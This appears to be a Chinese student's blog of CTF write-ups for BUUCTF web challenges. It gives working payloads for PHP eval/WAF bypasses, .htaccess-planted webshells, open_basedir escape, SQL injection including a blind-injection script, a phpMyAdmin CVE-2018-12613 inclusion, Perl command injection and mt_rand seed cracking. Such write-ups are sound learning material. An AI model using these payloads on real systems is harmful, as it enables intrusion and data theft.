buu学习记录(下)(做题是不可能做题的)
目录:
题目解析:
涉及 知识点:
(2)HTTP请求走私攻击
(3)取反操作
~%D1 == '.' (46+209=255) ~$D0 == '/' (47+208=255)
其余ascii码类似。
解析:
进入题目的界面,审计js代码发现有calc.php,抱着好奇的态度进入查看。
发现源码。审计
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
本来以为过滤已经很明显了。但是其实还有坑,经过多次尝试之后发现num中不能存在字母。
感觉像是前端的WAF。
方法一:php字符串解析特性绕过WAF。
上面的链接有详细的解释,我就提一下%20num也会被后端解析为num,但是前端解析不出来,所以可以绕过前端WAF。
尝试构造payload:?%20num=phpinfo()
成功,有phpinfo()回显
还发现了system()被过滤了,没办法只能用php本身的文件读取函数了。
scandir()函数读取目录。file_get_contents()读取文件。
目标payload:? num=var_dump(scandir('.'))
因为 单引号 被过滤,所以我们采用本身结果就是字符串的 chr()函数 或者 取反操作 来替换
构造payload1:? num=var_dump(scandir(chr(46)))
构造payload2:? num=var_dump(scandir(~%D1))
。。没有flag文件,去根目录下看看。(payload类似)
(注意这是1,因为没看出来卡了好久...)
那么读取这个文件应该就行了,payload依旧类似
payload1:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
payload2:? num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))
成功获得flag
方法二:HTTP请求走私攻击
老实说,这个方法我还是第一次见,最好去看大佬的解释吧。
我用自己的话解释一下巩固一遍(太菜了,见谅)
CL-CL协议可以,payload和方法一一样。
涉及知识点:
(1)无参数RCE
解析:
这还解析个啥子哦,之前写的有从零开始的无参数RCE学习。
。。总结的还是挺全的,这类题目以后就不详细解释了,wp应该会放在那里。
涉及知识点:
(1)异或
(2).htaccess文件上传
(3)open_basedir限制绕过
解析:
等一下,我先说明白了,这题我没做出来好吧,不知道是自己太菜还是环境有问题。先挖个坑吧。
做出来了,嘿嘿,原来是因为php的问题。
贴一下源码。
<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
可以很清楚地看到有个eval函数。但是过滤有点严。这里先提一个知识点。
{'phpinfo'}(); 是会被当成php代码执行的,所以会先显示phpinfo的内容。
有了这个知识点,我们正式开始。
过滤的太严格了,数字字母和一些符号都过滤了。但是引号没有过滤,这时候有经验的师傅应该看出来了,这里肯定要用到异或的。
可显示字符过滤的差不多了,但是不可显示字符一个都没有过滤啊!
那么我们就可以用不可显示字符异或得到可显示字符!
因为长度限制太严格了,所以我选择整出来一个 _GET 或者 _POST ,这里当然选择 _GET ,因为_GET短啊!
写个脚本遍历一下。
<?php function is_valid($s) { if(preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $s)) //过滤条件 return false; return true; } function character_fuzz($str) { $i = 0; $s = ""; $ch = ""; $res1 = ""; $res2 = ""; for($k = 0 ;$k < strlen($str);$k++) // 在php中 count 数组或对象 , strlen 字符串,别混了 { $s = $str[$k]; for($i = 127;$i < 256;$i++) //这里从 127 开始的原因是因为题目有严格的字数限制,并且%7f之后是没有 过滤的,那么理论上可以用 %80 ^ x 来实现任意 ascii 码的。进一步减少长度。 { $ch = chr($i); if(!is_valid($ch)) { continue; } if(is_valid($ch ^ $s)) { $res1 .= urlencode($ch); $res2 .= urlencode($ch ^ $s); break; } } } echo $res1."^".$res2."=".$str; } $payload = "_GET"; //最终想要的字符串。 character_fuzz($payload); ?>
最后的结果是
选择构造payload:
?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();
构造了一个 $GET{%DF}() ({}和[]的效果是一样的)
构造payload:
?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();&%DF=phpinfo
可以看到phpinfo的界面。
可以去disable_function看看过滤的函数。
之后构造payload:
?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();&%DF=get_the_flag
尝试文件上传,
先写到这里,明天继续。
让我们文件上传啊,没意思,jarvisoj 有一道差不多的题,思路就是本地写一个网页发文件到题目界面。
<!DOCTYPE html> <html> <head> <title>Cxlover</title> </head> <body> <form method="POST" action="http://3dbea840-e468-4892-8c55-61f59c92155e.node3.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%DF}();&%DF=get_the_flag" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="Cxlover"> <input type="file" name="file"> <input type="submit" name="Cxlover" value="提交"> </form> </body> </html>
抓包上传,经过很多次的尝试之后,我终于摸清了要怎么上传。
1.首先是后缀名中不能含有 ph
。。。php文件应该是没法上传了,所有apache能解析的文件都是ph结尾的。
2.文件内容中不能含有 <?
。。有毒,短标签也没法用了,但是本来可以尝试<script language="php">的,但是不解析。。没办法,只能尝试别的方法。
3.文件的头部必须是图片的头。
- 在内容前面增加GIF98a等标志
- 在文件开头增加\xff\xd8等标志
- 使用了xbm格式,X Bit Map,来绕过图片检测,在文件前面加
- #define width 1337
#define height 1337
- #define width 1337
那么我们可以上传一个 .htaccess 文件。这样文件就可以解析为 php 文件了。
可是光解析没有用啊,还要嵌入php代码。这一步很难。
看了大佬的wp才知道,.htaccess文件不仅可以使其他后缀名的文件被认为是 php 文件。
还可以将 base64 编码过后的文件解码。并且 只要在文件名之前加上 \x18\x81\x7c\xf5 ,base64编码之后的结果就是 GIF89 (就是图片文件头)
上传的 .htaccess 文件源码为:
#define width 1 #define height 1 AddType application/x-httpd-php .aaa php_value auto_append_file "php://filter/convert.base64-decode/resource=payload.aaa"
。。对了,好几天没写wp差点忘了,这题还有一个限制是 open_basedir 。
这里有一个绕过 open_basedir 的黑科技:
<?php $str="<?php mkdir('sub'); chdir('sub'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(scandir('/')); readfile('THis_Is_tHe_F14g'); ?>"; $s = "\x18\x81\x7c\xf5"; $str = $s.$str; echo base64_encode($str); ?>
将脚本结果上传
直接访问即可拿到flag
感觉自己讲的不好,放一篇大佬的wp吧。 (什么时候才能表达强一点啊,唉)
涉及知识点:
(1)sql源码猜测
解析:
进入题目的界面,查看源码,
base32,base64解码为
select * from user where username = '$name'
配合题目的名字,这铁定是一个sql注入题目。
构造了payload甚至还爆出了passwd。但是。。md5没法装库。。蒙了。
看了wp才知道这一道题的脑洞是真的大。
这一题要猜测后端源码为:
<?php$row; $pass=$_POST['pw']; if($row['username']==’admin’){ if($row['password']==md5($pass)){ echo $flag; }else{ echo “wrong pass!”; }} else{ echo “wrong user!”;}
才能构造
payload:name='union select 1,2,3#&pw=123
payload:name='union select 1,'admin',3#&pw=123
然后让自己的password和自己输入的md5对上就行了。
payload:name='union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
得到flag
(有一说一,脑洞是真的大)
涉及知识点:
(1)sql时间盲注(布尔盲注也行)
(2)文件上传中的短标签
解析:
有一说一,这一道题是我们组内考核的题目(哭了)。
不过,这里我又做了一遍,写一下wp吧。
先是扫目录可以扫出来一个 robots.txt 。
然后,发现没有 index.php.bak 。但是,有 image.php.bak (缓缓打出一个问号?)
<?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
阅读源码后发现这一道sql注入的注入点竟然在 image.php 。
因为在考核的wp中写的非常清楚了,就直接写怎么构造payload了。
输入 \,0 因为 addslashes 函数的存在会被解析成 \\,\0 ,这样输入 \0 就会被解析成 \\\0 ,然后过滤之后就变成了 \ 。
贴一下脚本
import requests id = u"\\0" path = u"||sleep(5)--+" string = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_." url = "http://3eeb3481-ce2a-4996-9375-47afc1f9fcef.node3.buuoj.cn/image.php?id=\\0&" payload = "" for i in range(1,40): for j in string: #sqlstr = "path=||if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{},1))={}),sleep(6),1)--+" #sqlstr = "path=||if((ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),{},1))={}),sleep(6),1)--+" sqlstr = "path=||if((ascii(substr((select password from users where username=0x61646d696e),{},1))={}),sleep(6),1)--+" url1 = url + sqlstr.format(str(i),str(ord(j))) #print(url1) try: resp = requests.get(url1,timeout = 2) except: payload += j print(payload) break print(payload)
爆出的结果是:
直接输入 username:admin,password: 1b3e6bba606d05bf397e
进入文件上传界面
随便上传一个文件,发现上传的文件名会出现在 .php 文件中?
直接将文件名作为一句话shell注入,就行了,但是有问题。
<?php 不让出现,这时候采用短标签就行了。
上传成功,执行shell。
getflag
涉及知识点:
(1)extract 函数覆盖数据。
(2)php注入
解析:
一进去就是源码,终于不用扫目录了。
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
审计源码发现有phpinfo。那么直接进入看看就完事了。首先找disable_function看呗过滤的函数吧。
然后意外发现了惊喜?
既然含有flag。那么我们的目的应该就是读它了。继续审计源码。发现可以show_image。直接查看guest_img.png。
...也没啥好看的,反正知道可以用反序列化读文件就对了。而它序列化的是 $_SESSION ,那么我们怎么重新设置 $_SESSION 呢?
有 extract 这个函数。文档给的解释是:
意思就是没有设置第二个参数时,会自动覆盖,所以直接输入就行了。本地测试结果
这样我们就可以修改了,我们现在的目标是把 img 改成 d0g3_f1ag.php ,但是直接覆盖是不可能的。
而且还有一个迷惑点,在下面的源码里
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
看上去可以通过这个参数来修改 img 的值,但是这个 sha1 是真的没法绕过的,千万别往这方面想。
所以这题和 piapiapia 一样的格式,都是利用 php 序列化的拼接漏洞。这里简单说一下吧
利用它给我们的过滤函数来构造序列化。(真的,先序列化后过滤就是白给)。具体细节就不讲了,piapiapia里讲过。
直接尝试构造payload就好了。
payload: _SESSION[users]=phpphpflagflagflag&_SESSION[func]=;s:1:"a";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然后去服务器测试
。。没啥区别,稍微改下payload就好了。
payload:_SESSION[users]=phpphpflagflagflag&_SESSION[func]=;s:1:"a";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
拿到flag
涉及知识点:
(1)CVE-2018-12613 phpMyAdmin后台文件包含漏洞分析
解析:
进入题目界面什么有用信息都没有看到。
扫目录可以扫出来robots.txt 和 phpmyadmin 。
robots.txt 有一个phpinfo.php没什么用。这题的关键在于 phpmyadmin 。
利用条件:版本号:4.8.0——4.8.1
本题的版本恰巧是 4.8.1 。然后直接拿 exp 去打,就拿到flag了。
构造payload: ?target=db_sql.php%253f/../../../../../../../../flag
拿到flag
涉及知识点:
(1)SSRF
解析:
这题有一说一,我对 SSRF 是真的不太会。这一题也只是在研究,目前只知道 GET 之中调用了 perl 中的open。
而 open 函数是可以执行系统命令的。并且 open 函数支持 file 协议。
首先,GET 是可以访问自己本地的文件的。 GET / 是类似于 ls / 的。
先构造 payload: ?url=/&filename=cioi 访问文件目录。
本来想直接访问 /flag 的。但是是空的,而根目录下有一个 /readflag 。读取之后发现是二进制文件,那么应该是要调用这个文件读取flag了。
首先先构造payload创造 bash -c /readflag| 文件名(这一步不能少哦,只有文件名存在才能执行命令)
payload: ?url=/&filename=bash -c /readflag|
之后构造 payload 执行 readflag 拿到flag。
构造payload: ?url=file:bash -c /readflag&filename=cioi
成功拿到flag。
涉及知识点:
(1)php中的伪随机性
解析:
拿到了flag?我是不是要被抓去非洲了?这是我的最后一篇wp。师傅们再见 Σ(っ °Д °;)っ。
先写完 wp 吧。
本来不知道这题是什么东西,结果bp抓包一看发现有源码?
发现就是一个随机数。但是 mt_rand 真的是随机吗?答案是否定的。
在组内第二次考核的中,也是 mt_rand 伪随机数。简单介绍一下 mt_rand 吧。
当 mt_srand($seed) 中 $seed 的值是固定的时,mt_rand() 的值是固定的。
但是 $seed 是随机的,那么爆破种子就好了。
简单写了脚本去爆破。
<?php header("Content-Type: text/html;charset=utf-8"); session_start(); for($seed = 0;$seed < 999999999;$seed++) { mt_srand($seed); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ""; $len = 20; for($i = 0;$i < $len;$i++) { $str .= substr($str_long1,mt_rand(0,strlen($str_long1)-1),1); } $str_show = substr($str,0,10); if($str_show == "xssutpd1s7") { echo $str."\n"; } } ?>
然后就真的爆破出来了?
有一说一,太简单了,我自己都不信的。
顺利拿到flag
不多说了,去非洲了。
有一说一,贴个wp吧,这个是爆破种子的。
涉及知识点:
- .htaccess文件
- 文件包含
- 指定目录写文件
解析:
一开始不明白为什么上传 .htaccess 文件会 500 ,之后本地测试(这玩意删了我半个文件夹,当个教训吧)发现有一个 Just one chance 在生成的 .htaccess 文件后面,那么我们要尝试将 "\nJust one chance"给消除,最好的办法就是注释 # 了,但是 # 只是单行注释符,这个换行必须给爷死,那么payload很容易就构造出来了,在最后加 # \ 就可以使原字符串变成 "# \n ... " 这样就可以注释了。接下来就是构造 .htaccess 了。( \ 在.htaccess文件里是拼接上下两行的意思)
继续分析源码,我们发现有一个 include_once("fl3g.php"); 。这时候我就产生疑问了,本级目录下的文件不是都删光了吗?查询未果后,我请教了峰佬。峰佬告诉我,php的文件包含并不是按照当前文件的路径来的。php的配置选项中有一个 include_path 可以设置 include 函数的路径。而 .htaccess 文件中也有对应的方法。
解法一: error_log:任意文件写入
如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。我们.htaccess文件中可以自己定义error_log,更多的配置可以在php.ini配置选项表里找。
如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。然而很不幸的是error_log的内容默认是htmlentities
的,我们无法插入类似<?php phpinfo();?>
的payload。那么怎么才能绕过这里的转义?
最后一个问题,写入utf-7编码的shellcode可以绕过<?的过滤
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在.htaccess中配置解析的编码:
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
Step1: 写入.htaccess文件
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_value error_reporting 32767 php_value error_log /tmp/fl3g.php # \
payload: index.php?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F+ADw%3Fphp%20die(eval($_GET%5B2%5D))+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C
(记住一定要url编码,因为文件内容有特殊字符)
Step2: 访问index.php生成 error_log 文件。
Step3: 写入新的.htaccess解析UTF-7
php_value include_path "/tmp" php_value zend.multibyte 1 php_value zend.script_encoding "UTF-7" # \
payload: index.php?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_value%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C
Step4: 命令执行就好了。访问 index.php?2=phpinfo();
解法二: 正则回溯次数的重设
设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php
if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z\.]/", $filename) !== 0), 因此可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false
filename即可通过伪协议绕过前面stristr的判断实现Getshell
php_value pcre.backtrack_limit 0 php_value auto_append_file ".htaccess" php_value pcre.jit 0 #aa<?php eval($_GET['a']);?>\
令filename为:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了
解法三: 同样的绕过方法
php_value auto_prepend_fi\ le ".htaccess" #<?php phpinfo();?> #\
意思很明显哦!既然 \ 是拼接上下两行的意思,这种过滤就很好绕过了。之后的payload就不写了。
PS:今天好开心QwQ。打awd被璞佬表扬了,说不定有天我也可以像学长那么强。还有还有,我好喜欢极光这群人啊!